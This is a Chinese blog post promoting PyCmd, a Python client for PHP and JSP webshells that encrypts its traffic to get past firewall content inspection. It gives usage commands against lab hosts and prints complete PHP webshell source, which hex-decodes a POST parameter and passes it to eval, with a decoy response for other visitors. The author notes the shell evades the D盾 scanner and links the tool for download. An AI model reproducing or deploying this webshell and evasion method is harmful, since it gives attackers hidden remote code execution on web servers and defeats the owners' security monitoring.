浅析PyCmd加密隐形木马
作者:admin | 时间:2017-7-22 05:01:37 | 分类:黑客工具 隐藏侧边栏展开侧边栏
之前写了一个基于python的一句话木马客户端程序,这个程序的作用大致就是为了绕过防护设备,使敏感数据能在网络里自由穿梭。由于编程能力有限,当时以python程序作为客户端,php代码作为服务端,勉强能用,但是缺乏jsp的服务端,使之功能很局限。幸好有大神caomei相助,帮助实现了jsp端的代码,故将两者相结合,方便使用。
PyCmd适用环境
当服务器允许上传任意文件,且对文件内容不进行审计检查,但由于其网络边界有防火墙会拦截审计通信的数据。这时我们能成功上传一句话木马,然而连接菜刀的时候会出现500错误,此时可以使用pycmd工具,因为其会对互相通信的内容加密处理。
PyCmd使用
我这里准备了2个靶机,分别装有php与jsp的运行环境,用来模拟真实的网站服务器。
为了方便,我已经把服务端木马程序放到了服务器网站目录下:
php网站木马地址:10.0.3.13/test/p.php
jsp网站木马地址:192.168.10.149:8080/headgmp/upload/2017_07_13/11.jsp
查看shell的情况:
此时,运行PyCmd.py程序:
python PyCmd.py -u http://10.0.3.13/test/p.php -p test [--proxy]
或者
python PyCmd.py -u http://192.168.10.149:8080/headgmp/upload/2017_07_13/11.jsp -p test [--proxy]
程序会自动判断输入的网站类型,这里是jsp类型的网站。
运行程序可输入以下参数:
-h 查看帮助信息
-u 网站木马地址
-p 木马shell密码
–proxy 开启本地代理(方便调试)
注:当开启本地调试,需运行Fiddler程序,或者其他抓包软件。
PyCmd数据加密
PyCmd程序的长处在于它对往来的数据进行了加密,可以绕过防火墙对数据内容的校验。
当执行cmd命令时,通过Fiddler抓包查看数据:
查看回报信息:
PyCmd木马隐身
用D盾扫描上传的木马服务端文件,显示为正常文件,成功躲过查杀(2016.9.18日检测结果)
这里演示php木马查杀:
<?php
$string=”;
$password=’test’;
if(isset($_POST[$password])){
$hex=$_POST[$password];
for($i=0;$i<strlen($hex)-1;$i+=2){
$string.=chr(hexdec($hex[$i].$hex[$i+1]));
}
@eval($string);
}else{
echo “This is a Test!”;
}
?>
工具下载
PyCmd 下载地址
项目地址:https://github.com/tengzhangchao/PyCmd
说明:绕过防火墙检测的方法很多,这里只是提供了一种思路,pycmd是我去年写的一款工具,最近打算完善其功能,代码已经开源。
原文连接:PyCmd 加密隐形木马
* 本文作者:nmask